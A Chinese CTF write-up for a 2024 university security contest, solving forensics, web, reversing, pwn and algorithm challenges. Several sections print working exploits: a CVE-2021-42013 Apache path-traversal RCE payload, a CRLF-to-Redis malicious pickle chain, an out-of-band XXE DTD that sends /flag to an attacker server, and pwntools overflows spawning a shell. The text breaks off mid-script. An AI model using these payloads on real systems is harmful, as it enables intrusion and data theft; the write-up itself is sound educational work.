问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
2024高校网络安全管理运维赛 wp
渗透测试
2024高校网络安全管理运维赛 wp
0x00 前言 ------- 本文是关于“2024高校网络安全管理运维赛”的详细题解,主要针对Web、Pwn、Re、Misc以及Algorithm等多方向题目的解题过程,包含但不限于钓鱼邮件识别、流量分析、SQLite文件解析、ssrf、xxe等等。如有错误,欢迎指正。 0x01 Misc --------- ### 签到 给了一个gif,直接在线分帧 ![](https://cdn.nlark.com/yuque/0/2024/png/35980243/1715143955708-89cabb0e-907a-4e67-97c0-70cf3deac877.png) 得到`synt{fvtava-dhvm-jryy-qbar}`,一眼凯撒,直接rot13解码 ![](https://cdn.nlark.com/yuque/0/2024/png/35980243/1715144010762-bb0c0e7c-e8ad-4987-b075-998ce89aec66.png) ```php flag{signin-quiz-well-done} ``` ### 钓鱼邮件识别 给了一个eml邮件文件,可以用邮箱软件查看,也可以直接查看(可能麻烦点) ![](https://cdn.nlark.com/yuque/0/2024/png/35980243/1715144438574-89cdfe1d-f0c5-4607-a5c1-0e841bc9669b.png) #### Flag 1 ![](https://cdn.nlark.com/yuque/0/2024/png/35980243/1715144166816-bca94ed4-da3a-477b-9c92-71a01c5861f7.png) 直接base64解码,得到`flag{wElCoMeTo}` ![](https://cdn.nlark.com/yuque/0/2024/png/35980243/1715144322939-1896c443-2d16-4e52-848f-e9d62420fa46.png) #### Flag 2 下面的内容是base64编码的信息 ![](https://cdn.nlark.com/yuque/0/2024/png/35980243/1715144632145-0b243f15-6f8c-445d-a966-5d7d22ff9074.png) ![](https://cdn.nlark.com/yuque/0/2024/png/35980243/1715144673187-3fa35a81-c855-4878-99a3-fc24a4bba371.png) 解码后查看,得到`flag{phIsHhuntINg}` ![](https://cdn.nlark.com/yuque/0/2024/png/35980243/1715144725321-b2ef803e-edcb-4782-9e5e-1a8749f09611.png) #### Flag 3 eml文件剩下的内容没有flag了,只能从发件人的域名下手了 ![](https://cdn.nlark.com/yuque/0/2024/png/35980243/1715144870552-1898816a-0874-406b-a367-002d87a5f3f2.png) 查下dns解析,这里用的是360威胁情报中心 <https://ti.360.net/domain/foobar-edu-cn.com> ![](https://cdn.nlark.com/yuque/0/2024/png/35980243/1715145401919-d874555b-4b55-4b5d-bd0d-7b19697a334c.png) (这个情报中心会记录比赛过程的解析历史,所以现在直接看子域名信息就能得到flag) ![](https://cdn.nlark.com/yuque/0/2024/png/35980243/1715146499529-f15205fb-5c11-481a-b2e8-74171ecd944e.png) 下面还是正常过一遍查询流程 除了第三方服务平台,也可以用windows自带的nslookup,查看域名的TXT记录 ```php nslookup -qt=txt foobar-edu-cn.com ``` ![](https://cdn.nlark.com/yuque/0/2024/png/35980243/1715145497911-b7d91892-6795-4237-824b-e496ca028bd2.png) 根据提示,应该是得去找该域名下的子域名的解析记录,三个拼接出完整的flag 由于域名是在国外申请的,国内很多网站都解析不出来,只能用国外的网站慢慢试 <https://www.virustotal.com/gui/domain/spf.foobar-edu-cn.com/details> spf ![](https://cdn.nlark.com/yuque/0/2024/png/35980243/1715145927972-06278455-dfd9-4c08-990e-5e4059ab7f03.png) <https://dnsspy.io/scan/foobar-edu-cn.com> default.\_domainkey ![](https://cdn.nlark.com/yuque/0/2024/png/35980243/1715145947037-9df1fd6f-5168-4979-9f9e-cc33ad158b66.png) [https://www.misk.com/tools/#dns/\_dmarc.foobar-edu-cn.com](https://www.misk.com/tools/#dns/_dmarc.foobar-edu-cn.com) \_dmarc ![](https://cdn.nlark.com/yuque/0/2024/png/35980243/1715145973208-36ce6dc3-0e60-4176-9498-e63660806ce6.png) 分别得到三个部分,拼接得到flag ```php flag_part1={N0wY0u flag_part2=_Kn0wH0wt0_ flag_part3=ANAlys1sDNS} flag{N0wY0u_Kn0wH0wt0_ANAlys1sDNS} ``` 其实那三个子域名是对应电子邮件服务器的几种协议,例如:SPF、DKIM 和 DMARC,分别提供对应服务 [https://help.aliyun.com/document\_detail/2685946.html](https://help.aliyun.com/document_detail/2685946.html) ![](https://cdn.nlark.com/yuque/0/2024/png/35980243/1715146302646-14eddac1-093e-4489-a8ea-bbcd7f826529.png) ### easyshell 给一个pcap流量包,直接能看到在post请求shell.php,应该是在传马后命令执行 ![](https://cdn.nlark.com/yuque/0/2024/png/35980243/1715146915577-0dc14878-419a-478d-a73a-b5665a29a697.png) 过滤下http流,确信上面猜想 ![](https://cdn.nlark.com/yuque/0/2024/png/35980243/1715147004002-7cb14cfa-e273-4b8e-b9de-92023accf1c1.png) 追踪http流,post的内容是加密过的,结合题目和冰蝎4.0的流量特征,猜测这个是冰蝎马 冰蝎流量特征: - Accept: application/json, text/javascript, \*/\*; q=0.01 - Content-type: Application/x-www-form-urlencoded - Connection: Keep-Alive - … ![](https://cdn.nlark.com/yuque/0/2024/png/35980243/1715147190096-363af0bd-f42e-4ce3-a48a-c4f52ce9fa12.png) 冰蝎4.0使用AES加密,默认密钥为`e45e329feb5d925b`,即md5('rebeyond')的前16位 从最后一个响应包往回解码试试 这里需要注意Cyber的AES-CBC模式的iv不能空着,但又不需要偏移,所以填入0 ![](https://cdn.nlark.com/yuque/0/2024/png/35980243/1715148615370-d650888d-4771-4fc9-a949-d2051b0c526f.png) ![](https://cdn.nlark.com/yuque/0/2024/png/35980243/1715148727957-12972da5-08e2-4173-9834-9b6340db2f7a.png) 找到一个有内容的 ![](https://cdn.nlark.com/yuque/0/2024/png/35980243/1715149431055-419d3608-6b79-413e-b7a6-e5207ca50c2b.png) ![](https://cdn.nlark.com/yuque/0/2024/png/35980243/1715149450824-ee3d840e-a2fb-4a9a-b484-b4a770db73e7.png) ![](https://cdn.nlark.com/yuque/0/2024/png/35980243/1715149457588-17743487-d014-46fc-8d89-72b7db6bfbf7.png) 看看请求包是在请求什么,这里放下解码后的结果,可以看出是在读取secret2.txt文件 ![](https://cdn.nlark.com/yuque/0/2024/png/35980243/1715149659072-f54b3cee-e164-4493-9553-c97e62de21de.png) secret2.txt ```php Hello, but what you're looking for isn't me. ``` 然后在前一个响应包找到关键内容 ![](https://cdn.nlark.com/yuque/0/2024/png/35980243/1715149005499-6871b51c-149d-47c4-af46-6875581951aa.png) ![](https://cdn.nlark.com/yuque/0/2024/png/35980243/1715149023825-b8f270d4-8920-4698-8a47-f06eade57b94.png) 是个zip压缩包,直接保存出来 ![](https://cdn.nlark.com/yuque/0/2024/png/35980243/1715149067616-c292cbb1-8c7e-420b-beb8-cfcbeec38cd3.png) 查看zip,有个secret1.txt和secret2.txt,需要密码 ![](https://cdn.nlark.com/yuque/0/2024/png/35980243/1715149192626-a3ca5f83-c22c-4a41-a848-2b741a735ff1.png) 结合已知secret2.txt的内容,我们可以通过已知明文攻击 先写个secret2.txt,保存为zip,保证和原来的加密算法一样 ![](https://cdn.nlark.com/yuque/0/2024/png/35980243/1715150491176-06f765e0-9a9f-4cb3-8e4e-a81a83c7c1b8.png) 开始明文攻击,这里有个小技巧,等他显示找回口令时停止,弹出窗口点保存就能解压了 ![](https://cdn.nlark.com/yuque/0/2024/png/35980243/1715150968247-88298523-b344-4a82-8bf4-0ec8eaa7fd5d.png) 得到`flag{70854278-ea0c-462e-bc18-468c7a04a505}` ![](https://cdn.nlark.com/yuque/0/2024/png/35980243/1715151024797-a34907d1-91a7-4a0b-8ef5-ac5d19763ed2.png) ### SecretDB 题目给了一个sqlite的db文件,打开只有`Too late, no flag for you.` ![](https://cdn.nlark.com/yuque/0/2024/png/35980243/1715150819672-40cb0fa9-dc3a-4793-a825-2d360adf1f7a.png) 应该得恢复被delete的信息,没有找到能直接恢复的工具,要么恢复不出来要么乱码,尝试手动提取 参考:<https://www.cnblogs.com/jiangcsu/p/6569045.html> 重点是单元内的结构 ![](https://cdn.nlark.com/yuque/0/2024/png/35980243/1715151110398-39ab8d6d-3d2a-4dc6-a0cf-6e81f0cc06cf.png) 010editor打开secret.db,定位到flag处查看,红框下面的部分就是之前被删除的数据 ![](https://cdn.nlark.com/yuque/0/2024/png/35980243/1715151283825-3bb33c80-6c91-414a-97ab-14502799d315.png) 从上面数据库flag表的结构,我们能看出列为id、sort和message,sort是排序用的索引,message存储可见字符,所以我们可以简单的观察上图的可见字符,也就是message,那么他们的前一位就是sort了,例如可见字符9的十六进制为39,它的前一位为0e,所以索引为0e的值为9 ![](https://cdn.nlark.com/yuque/0/2024/png/35980243/1715151669763-adf02488-b9a0-42a9-8387-b5b3dcf5a7de.png) 依次类推,提取剩余的值 ```php 0x17 - 0x0 f 0xe 9 0x1b 7 0x10 3 0xa b 0x19 2 0x14 b 0xf 2 0x12 - 0x23 4 0x16 6 0x1f a 0x25 8 0x2 a 0x1e f 0x5 f 0x3 g 0x11 c 0xc 0 0x4 { 0x22 a 0x21 b 0x7 2 0x1d f 0x26 f 0x1c - 0x9 1 0x27 0 0xd - 0xb f 0x8 9 0x1 l 0x13 4 0x29 } 0x15 a 0x28 b 0x6 6 0x1a d 0x24 e 0x20 b ``` 写个脚本排序,输出flag ```php with open('1.txt', 'r') as f: data = f.readlines() out = [' ' for i in range(43)] for i in data: index, val = i.replace('\n', '').split(' ') index = int(index, 16) out[index] = val flag = '' index = 0 for i in out: print(hex(index), i) index += 1 flag += i print(flag) # flag{f6291bf0-923c-4ba6- 2d7-ffabba4e8f0b} ``` 缺了一位,爆破一下,得出`flag{f6291bf0-923c-4ba6-82d7-ffabba4e8f0b}` ### Gateway 给了一个网关源码,index.html有产品名称`HS8145V` ![](https://cdn.nlark.com/yuque/0/2024/png/35980243/1715151970381-5814953f-8fb6-46d7-abe9-a6c4dcd534bc.png) 查询password,在cgi-bin/baseinfoSet.json有一串密码 ![](https://cdn.nlark.com/yuque/0/2024/png/35980243/1715152260567-a58b57ce-6286-4cbc-acd1-2de39c93d10b.png) ```php 106&112&101&107&127&101&104&49&57&56&53&56&54&56&49&51&51&105&56&103&106&49&56&50&56&103&102&56&52&101&104&102&105&53&101&53&102&129& ``` 搜索一下cgi-bin/baseinfoSet.json <https://github.com/iheshime/ChinaTelecom-ESurfing-Gateway-HG260-Admin-Password-Algorithm> 发现是网关管理员通用的加密算法,小改下脚本 exp.py: ```php def passwd_decode(code) -> str: passwd_list = map(int, code.split('&')) result=[] for i in passwd_list: if 97 <= i <= 100 or 65 <= i <= 68: i += 22 elif i > 57: i -= 4 result.append(chr(i)) #print(i, chr(i)) return (''.join(result)) passwd = passwd_decode("106&112&101&107&127&101&104&49&57&56&53&56&54&56&49&51&51&105&56&103&106&49&56&50&56&103&102&56&52&101&104&102&105&53&101&53&102&129") print(passwd) # flag{ad1985868133e8cf1828cb84adbe5a5b} ``` ### zip ```php #include <arpa/inet.h> #include <sys/wait.h> #include <stdbool.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <stdio.h> #include <pty.h> char token[1024], buf[1024]; void load() { FILE *f = fopen("token.txt", "r"); fgets(token, sizeof(token), f); token[64] = 0; // maybe 64 bytes is enough fclose(f); } int cmpstr(char const *a, char const *b) { return memcmp(a, b, strlen(a)); } void zip(char *password) { int master, pid; pid = forkpty(&master, NULL, NULL, NULL); if (pid == 0) { char* argv[] = { "7z", "a", "flag.zip", "tmp/flag.txt", "-mem=AES256", "-p", NULL }; execve("/usr/bin/7z", argv, NULL); } else { char buffer[4097]; while (true) { ssize_t n = read(master, buffer, 4096); if (n < 0) break; fflush(stdout); write(1, buffer, n); buffer[n] = 0; if (strstr(buffer, "password")) { usleep(10000); write(master, password, strlen(password)); write(master, "\n", 1); } } wait(NULL); } close(master); } void unzip(char *password) { int master, pid; pid = forkpty(&master, NULL, NULL, NULL); if (pid == 0) { char* argv[] = { "7z", "e", "flag.zip", NULL }; execve("/usr/bin/7z", argv, NULL); } else { char buffer[4097]; while (true) { ssize_t n = read(master, buffer, 4096); if (n < 0) break; fflush(stdout); write(1, buffer, n); buffer[n] = 0; if (strstr(buffer, "rename all")) { usleep(10000); write(master, "u\n", 2); } if (strstr(buffer, "Enter password")) { usleep(10000); write(master, password, strlen(password)); write(master, "\n", 1); } } wait(NULL); } close(master); } int main(int argc, char *argv[]) { load(); system("7z"); puts("your token:"); fflush(stdout); fgets(buf, sizeof(buf), stdin); if (cmpstr(token, buf)) { puts("wrong token!"); return 1; } zip(buf); puts("your flag:"); fflush(stdout); fgets(buf, sizeof(buf), stdin); if (cmpstr("flag{", buf)) { puts("wrong flag!"); return 1; } unzip(buf); FILE *f = fopen("flag.txt", "r"); if (!f) { puts("flag.txt not found"); return 1; } fgets(buf, sizeof(buf), f); fclose(f); printf("flag: %s\n", buf); return 0; } ``` 题目是模仿终端输入,通过条件是输入的内容要有`flag{`开头,又要等于队伍token(包含flag{) 主要是利用ascii中的`\x7f`即del,对前面的flag{进行删除 ```php from pwn import * from pwnlib.util.iters import mbruteforce from hashlib import sha256,md5 from Crypto.Cipher import ARC4 context.arch='amd64' context.os='linux' context.log_level='debug' choice=0 if choice==1: p=process('./pwn') else: p=remote("url",10003) s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x,data :p.sendafter(x, data) sla = lambda x,data :p.sendlineafter(x, data) r = lambda num=4096 :p.recv(num) rl = lambda num=4096 :p.recvline(num) ru = lambda x :p.recvuntil(x) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4,b'\x00')) uu64 = lambda data :u64(data.ljust(8,b'\x00')) uru64 = lambda :uu64(ru('\x7f')[-6:]) leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name)))) libc_os = lambda x :libc_base + x libc_sym = lambda x :libc_os(libc.sym[x]) def get_sb(): return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00')) def debug(cmd=''): gdb.attach(p,cmd) pause() def proof_of_work(p): p.recvuntil(b"256(\"") prefixes = p.recvuntil(b'\"').decode("utf8")[:-1] log.success(prefixes) def brute(cur): content = prefixes + str(cur) s = sha256(content.encode()) if s.hexdigest().startswith("000000") and int(s.hexdigest()[6:8], 16) < 0x40: return True return False proof = mbruteforce(brute,string.ascii_lowercase + string.digits, length=6, method='upto',threads=20) p.sendlineafter(b"zero:", proof) def proof_of_work_md5(p): p.recvuntil(b"with \"") prefixes = p.recvuntil(b'\"').decode("utf8")[:-1] log.success(prefixes) def brute(cur): s = md5(cur.encode()) if s.hexdigest().startswith(prefixes): return True return False proof = mbruteforce(brute,string.ascii_letters, length=4, method='fixed') p.sendlineafter(b":", proof) #elf=ELF('./11') # libc=ELF('./libc-2.23.so') # libc=ELF('./libc-2.27.so') #libc=ELF('./libc-2.31.so') # libc=ELF('./libc.so.6') # libc=ELF('./libc.so') # rop = ROP(libc) # rdi=(rop.find_gadget(['pop rdi', 'ret']))[0] # rsi=(rop.find_gadget(['pop rsi', 'ret']))[0] sla('token:','队伍token') sla('token:','队伍token') pl='flag{'+'\x7f'*6+'队伍token' sla('your flag:',pl) p.interactive() ``` ```php flag{n3v3r-90NN4-91V3-y0U-UP} ``` ### Apache ```php from flask import Flask,request,send_file import socket app = Flask("webserver") @app.route('/',methods=["GET"]) def index(): return send_file(__file__) @app.route('/nc',methods=["POST"]) def nc(): try: dstport=int(request.form['port']) data=request.form['data'] s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(1) s.connect(('127.0.0.1', dstport)) s.send(data.encode()) recvdata = b'' while True: chunk = s.recv(2048) if not chunk.strip(): break else: recvdata += chunk continue return recvdata except Exception as e: return str(e) app.run(host="0.0.0.0",port=8080,threaded=True) ``` 题目接受参数port和data,对127.0.0.1:port进行nc连接,发送data httpd.conf里开启了cgid ```php LoadModule cgid_module modules/mod_cgid.so ``` 结合题目apache,应该是要打CVE-2021-42013,路径穿越命令执行 同时,题目nc发送data后是循环接收chunk,这样会导致完异常无法接受返回信息 针对chunked传输模式,通过设置Content-Length来限制长度(可以参考上一篇的"凌武杯" D^3CTF 2024 wp) exp.py ```php import requests url = "url/nc" poc = "echo;cat /flag" payload=f"""POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1\r\nHost: 127.0.0.1\r\nConnection: close\r\nContent-Length: {len(poc)}\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\n{poc}""" data ={ "port":"80", "data":payload } res = requests.post(url=url,data=data) print(res.text) ``` ![](https://cdn.nlark.com/yuque/0/2024/png/35980243/1715154993420-4b1e793b-b8c7-494e-8904-e1c1cc5b12dd.png) ```php flag{whaTaapaCherce} ``` ### f or r 这个没什么好说的,能找到原题 <https://github.com/BeaCox/myBlog/blob/ebb8b6694ca7d9d998dcfdd703137240a5da25f9/posts/sjtuctf-2024-wp/index.html> ![](https://cdn.nlark.com/yuque/0/2024/png/35980243/1715155747278-2646209e-00a4-4c8f-8c29-7f9984214adb.png) 照着文章直接出 0x02 Web -------- ### phpsql 一个用户登录界面,password存在sql注入点 保存请求包,sqlmap一把梭 ```php python .\sqlmap.py -r post.txt --dbms mysql --tamper=space2comment -D ctftraining -T "flag" -C "flag" --dump ``` 但注出的flag字段为空 后面发现就是个简单的sql注入,登录后查看就行 空格被过滤了,用MySQL注释符绕过 ![](https://cdn.nlark.com/yuque/0/2024/png/35980243/1715157449719-89257e86-824b-4934-b72a-7a965ab86ec5.png) ### pyssrf ```php from flask import Flask,request from redis import Redis import hashlib import pickle import base64 import urllib app = Flask(__name__) redis = Redis(host='127.0.0.1', port=6379) def get_result(url): url_key=hashlib.md5(url.encode()).hexdigest() res=redis.get(url_key) if res: return pickle.loads(base64.b64decode(res)) else: try: print(url) info = urllib.request.urlopen(url) res = info.read() pickres=pickle.dumps(res) b64res=base64.b64encode(pickres) redis.set(url_key,b64res,ex=300) return res except urllib.error.URLError as e: print(e) @app.route('/') def hello(): url = request.args.get("url") return '''%s ''' % get_result('http://'+url).decode(encoding='utf8',errors='ignore') @app.route('/source') def source(): return ``` 参考: <https://bugs.python.org/issue42987> 存在CRLF漏洞 [flask不出网回显方式 - Longlone’s Blog](https://longlone.top/%E5%AE%89%E5%85%A8/%E5%AE%89%E5%85%A8%E7%A0%94%E7%A9%B6/flask%E4%B8%8D%E5%87%BA%E7%BD%91%E5%9B%9E%E6%98%BE%E6%96%B9%E5%BC%8F/) 题目是接收一个url参数,将redis中url对应的值取出并pickle反序列化 提示python版本为3.7.1,构造pickle序列化数据需要注意版本 主要思路为,利用CRLF注入,打redis未授权,将redis中url对应的值修改为恶意的pickle序列化数据,再次访问时,题目将redis中的内容取出进行pickle反序列化,造成命令执行 exp.py ```php import requests import hashlib import pickle import base64 import urllib url = "/?url=" payload=b'''cbuiltins getattr (cbuiltins getattr (cbuiltins dict S'get' tR(cbuiltins globals )RS'__builtins__' tRS'exec' tR(S'raise Exception(__import__('os').popen('cat /f*').read())' tR. ''' payload_base64 = urllib.parse.quote(base64.b64encode(payload).decode()) print(payload_base64) def encode_url(url): url_key = hashlib.md5(url.encode()).hexdigest() return url_key inject_url = '1.2.3.4' url_shell = url + inject_url url_encode = encode_url("http://" + inject_url) payload = f"127.0.0.1:6379?\r\nauth\r\nroot\r\nSET {url_encode} {payload_base64}\r\nquit" url_set = url + payload res1 = requests.get(url=url_set) print(res1.text) res2 = requests.get(url=url_shell) print(res2.text) ``` ![](https://cdn.nlark.com/yuque/0/2024/png/35980243/1715159120643-2fdc852c-90a5-4e59-ac93-b53d5ccce111.png) ### fileit 抓包,将xml转换为dom,应该是xxe,但无回显 ![](https://cdn.nlark.com/yuque/0/2024/png/35980243/1715160120063-8031edcb-4241-4581-ba17-1daa50e27182.png) 需要读取vps上恶意dtd,执行命令后回显到vps上 vps: a.dtd ```php <!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/flag"> <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://ip:port?file=%data;'>"> ``` ```php # 开启监听端口3000 nc -lnvp 3000 ``` 发包: ```php POST / HTTP/2 Host: Content-Length: 152 Content-Type: application/xml <?xml version="1.0" ?> <!ENTITY % sp SYSTEM "http://ip:port/a.dtd"> %sp; %param1; ]> <r>&exfil;</r> ``` ![](https://cdn.nlark.com/yuque/0/2024/png/35980243/1715159539198-13ab8d0f-6231-41f4-a70f-addc811dd68b.png) 成功回显,base64解码得到flag ![](https://cdn.nlark.com/yuque/0/2024/png/35980243/1715159880781-c1bd2813-273d-4f02-9003-20d0a5244c52.png) ![](https://cdn.nlark.com/yuque/0/2024/png/35980243/1715159584577-cee18e20-5a72-4bd3-869b-0e0c6fc2de3d.png) 0x03 Re ------- ### easyre 确实easy,就是一个换标base64 ![](https://cdn.nlark.com/yuque/0/2024/png/35980243/1715160206867-545ce7e7-de4a-44a8-af70-d0ec3a6e4205.png) ### babyre 有一层upx壳,脱壳后直接扔到angr一把梭 ```php import angr p=angr.Project('./babyre',auto_load_libs=False) start_start=p.factory.entry_state() simgr=p.factory.simgr() #target addr def target(state): return b"Your flag is" in state.posix.dumps(1) #avoid addr def bad(state): return b"Wrong!" in state.posix.dumps(1) simgr.explore(find=target,avoid=bad) if simgr.found: solution_state=simgr.found[0] print(solution_state.posix.dumps(1))#模拟符合posix环境的数据存储和输入输出 ``` ![](https://cdn.nlark.com/yuque/0/2024/png/35980243/1715160268450-fceea513-17e9-4a57-999a-e509e03635e0.png) 0x04 Pwn -------- ### Login Password有溢出 ```php admin 1q2w3e4r ``` ```php Please input your token: 队伍token Welcome to the platform console, please login Username: admin Password: 1q2w3e4r Login successful, welcome admin Sorry, this feature is not implemented yet Panic: system halted Core dumped @@@@@@�@@@@��@@�� @ @��.>@>@p�� . >@ >@�88@8@0hh@h@DDS�td88@8@0P�td\!\!@\!@TTQ�tdR�td.>@>@��/lib64/ld-linux-x86-64.so.2 GNU���GNU!��x�B>@s��cVqaGNU �@)�fUa���:SL?e&� Y^3��@F��@-x@Hfgets__libc_start_mainstrcmpfopenmemsetloginstdoutputssystemstdinsetbuffreadexitfwriteprintflibc.so.6GLIBC_2.2.5GLIBC_2.34__gmon_start__lu�i v�����?@�?@ �@@�@@@@ @@(@@0@@8@@@@@H@P@@ X@@ `@@ ��H�H��/H��t��H���5�/��%�/��h���������h���������h���������h��������h��������h��������h��������h��q��������a������h ��Q������h /D����%/D����%�.D����%�.D����%�.D����%�.D����%�.D��1�I��^H��H���PTE1�1�H���@�;.�f.����f.����@@H=�@@t�H��t ��@@��f��ff.�@��@@H��@@H��H��?H��H�H��t�H��t��@@���ff.�@���=M.uUH�Ǹ�������(���H�1-�E�H�H��H�¾H�Z-H��������������UH��H���E�H�E��P�H������H��p����(�H���v���H�� H�Ǹ�R���H��,H�E��PH���Z����E���tH�q H���������H�j H�Ǹ����H�n,H��p���� H��� ���H�E�H�B H��H��������u2H��p���H�, H��H���������uH�$ H���d����E��H�/ H���O����E��E���tH�! ����E�����UH��H� H���4���� H��� ���������]���UH��H�� �}�H�u�H�E�H�H��+H�t+�H�������H�� H�������E��D��=�����t ��w����&�n���t ��0����H�� H���o����E��}�~������H�H��/bin/bashPanic: system halted Core dumpedrCannot open %s Cannot read %s Username: Username too longPassword: admin 1q2w3e4r Login successful, welcome adminLogin failedStack smashing detectedSorry, this feature is not implemented yetWelcome to the platform console, please loginLogin failed, pls try againP ����������4���ld���������4�������d���0����PzRx ����&D0����$D(����FJ Q �?�:*3$"l������>����E�C ?���HE�CC [,���$E�C �����E�C p@@@l �@>�>���o�@x@�@ � @�@h` ���o8@���o���o@ >@0@@@P@`@p@�@�@�@�@�@�@GCC: (Ubuntu 11.4.0-1ubuntu1~22.04) 11.4.0��@ ���@@2@@H��@@T>@{p@�>@�������"@��� >@�\!@�@@� ��@� p@@/A��@S�@@Z�@`x@Hfy���@����p@@�� �x@@ @���A'v@�0���A5�@��@&M��@@�Q��@@`�@�]�@$ew���@@���@� @crt1.o__abi_tagcrtstuff.cderegister_tm_clones__do_global_dtors_auxcompleted.0__do_global_dtors_aux_fini_array_entryframe_dummy__frame_dummy_init_array_entrylogin.c__FRAME_END___DYNAMIC__GNU_EH_FRAME_HDR_GLOBAL_OFFSET_TABLE___libc_start_main@GLIBC_2.34stdout@GLIBC_2.2.5puts@GLIBC_2.2.5fread@GLIBC_2.2.5stdin@GLIBC_2.2.5_edata_finiloginsetbuf@GLIBC_2.2.5system@GLIBC_2.2.5printf@GLIBC_2.2.5panicmemset@GLIBC_2.2.5fgets@GLIBC_2.2.5__data_startstrcmp@GLIBC_2.2.5__gmon_start____dso_handle_IO_stdin_usedoverflow_detectedbackdoor_end_dl_relocate_static_piebuf__bss_startdo_mainfopen@GLIBC_2.2.5exit@GLIBC_2.2.5fwrite@GLIBC_2.2.5__TMC_END__fpath_init.symtab.strtab.shstrtab.interp.note.gnu.property.note.gnu.build-id.note.ABI-tag.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rela.dyn.rela.plt.init.plt.sec.text.fini.rodata.eh_frame_hdr.eh_frame.init_array.fini_array.dynamic.got.got.plt.data.bss.comment@#8@86h@h$I�@� W���o�@�a � @ �\!@\!T��!@�!��� >@ .��?@@@0p �@�ix@x�q���o@"~���o8@8�h@h�B��@ @ ���@����@����@� ``` 得到flag ![](https://cdn.nlark.com/yuque/0/2024/png/35980243/1715160298431-6e45fa90-5764-4967-a127-fec2f18a5eec.png) ### babypwn ```php from pwn import * from pwnlib.util.iters import mbruteforce from hashlib import sha256,md5 from Crypto.Cipher import ARC4 context.arch='amd64' context.os='linux' context.log_level='debug' choice=0 if choice==1: p=process('./pwn') else: p=remote("prob07.contest.pku.edu.cn",10007) s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x,data :p.sendafter(x, data) sla = lambda x,data :p.sendlineafter(x, data) r = lambda num=4096 :p.recv(num) rl = lambda num=4096 :p.recvline(num) ru = lambda x :p.recvuntil(x) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4,b'\x00')) uu64 = lambda data :u64(data.ljust(8,b'\x00')) uru64 = lambda :uu64(ru('\x7f')[-6:]) leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name)))) libc_os = lambda x :libc_base + x libc_sym = lambda x :libc_os(libc.sym[x]) def get_sb(): return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00')) def debug(cmd=''): gdb.attach(p,cmd) pause() def proof_of_work(p): p.recvuntil(b"256(\"") prefixes = p.recvuntil(b'\"').decode("utf8")[:-1] log.success(prefixes) def brute(cur): content = prefixes + str(cur) s = sha256(content.encode()) if s.hexdigest().startswith("000000") and int(s.hexdigest()[6:8], 16) < 0x40: return True return False proof = mbruteforce(brute,string.ascii_lowercase + string.digits, length=6, method='upto',threads=20) p.sendlineafter(b"zero:", proof) def proof_of_work_md5(p): p.recvuntil(b"with \"") prefixes = p.recvuntil(b'\"').decode("utf8")[:-1] log.success(prefixes) def brute(cur): s = md5(cur.encode()) if s.hexdigest().startswith(prefixes): return True return False proof = mbruteforce(brute,string.ascii_letters, length=4, method='fixed') p.sendlineafter(b":", proof) #elf=ELF('./11') # libc=ELF('./libc-2.23.so') # libc=ELF('./libc-2.27.so') #libc=ELF('./libc-2.31.so') # libc=ELF('./libc.so.6') # libc=ELF('./libc.so') # rop = ROP(libc) # rdi=(rop.find_gadget(['pop rdi', 'ret']))[0] # rsi=(rop.find_gadget(['pop rsi', 'ret']))[0] sla('token:','20:MEYCIQCSPC8cZqmtbdZzL8NH8ZsYVZWmObVOyeXgLCqEUxxxyAIhALrkbJlt4GFMl-p6cyLpLdBUMaZRJrVU3ETXNwH7tuPN') sla('Enter your username: ','root\x00') pl=b'/bin/sh\x00'+b'a'*0x30+flat(0x00000000040117a) sa('Enter the password: ',pl) p.interactive() ``` ![](https://cdn.nlark.com/yuque/0/2024/png/35980243/1715160298532-990b3baa-a5e4-4516-8afd-46eac94fad1e.png) 0x05 Algorithm -------------- ### secretbit ```php from secret import flag from random import randrange, shuffle from Crypto.Util.number import bytes_to_long from tqdm import tqdm def instance(m, n): start = list(range(m)) shuffle(start) for i in range(m): now = start[i] this_turn = False for j in range(n-1): if now == i: this_turn = True break now = start[now] if not this_turn: return 0 return 1 def leak(m, n, times=2000): message = [instance(m, n) for _ in range(times)] return message MAX_M = 400 MIN_M = 200 flag_b = [int(i) for i in bin(bytes_to_long(flag))[2:]] leak_message = [] for bi in tqdm(flag_b): while True: tmp_m0 = randrange(MIN_M, MAX_M) tmp_n0 = randrange(int(tmp_m0//2), int(tmp_m0 * 8 // 9)) tmp_m1 = randrange(MIN_M, MAX_M) tmp_n1 = randrange(int(tmp_m1//2), int(tmp_m1 * 8 // 9)) if abs(tmp_m0-tmp_m1-tmp_n0+tmp_n1) > MAX_M // 5: break choose_m = tmp_m0 if bi == 0 else tmp_m1 choose_n = tmp_n0 if bi == 0 else tmp_n1 leak_message.append([[tmp_m0, tmp_n0], [tmp_m1, tmp_n1], leak(choose_m, choose_n)]) open('data.txt', 'w').write(str(leak_message)) ``` ![](https://cdn.nlark.com/yuque/0/2024/png/35980243/1715160298405-65d174af-2c9b-448e-a8e0-098bbcfdaf67.png) 根据flag的bit来选择m0和n0,或者m1和n1 题目给了m0、n0、m1、n1和leak后的数据,直接计算两种情况的leak,看哪个和给的leak相近,就能判断出该位的bit了 exp.py: ```php import ast import math from tqdm import tqdm def instance_avg(m, n, times=2000): from random import shuffle total = 0 for _ in range(times): start = list(range(m)) shuffle(start) for i in range(m): now = start[i] this_turn = False for _ in range(n-1): if now == i: this_turn = True break now = start[now] if not this_turn: total += 0 break else: total += 1 return total / times with open('data.txt', 'r') as file: data = ast.literal_eval(file.read()) flag_bits = [] for [[m0, n0], [m1, n1], message] in tqdm(data): p = sum(message) / len(message) avg_m0_n0 = instance_avg(m0, n0) avg_m1_n1 = instance_avg(m1, n1) if math.isclose(p, 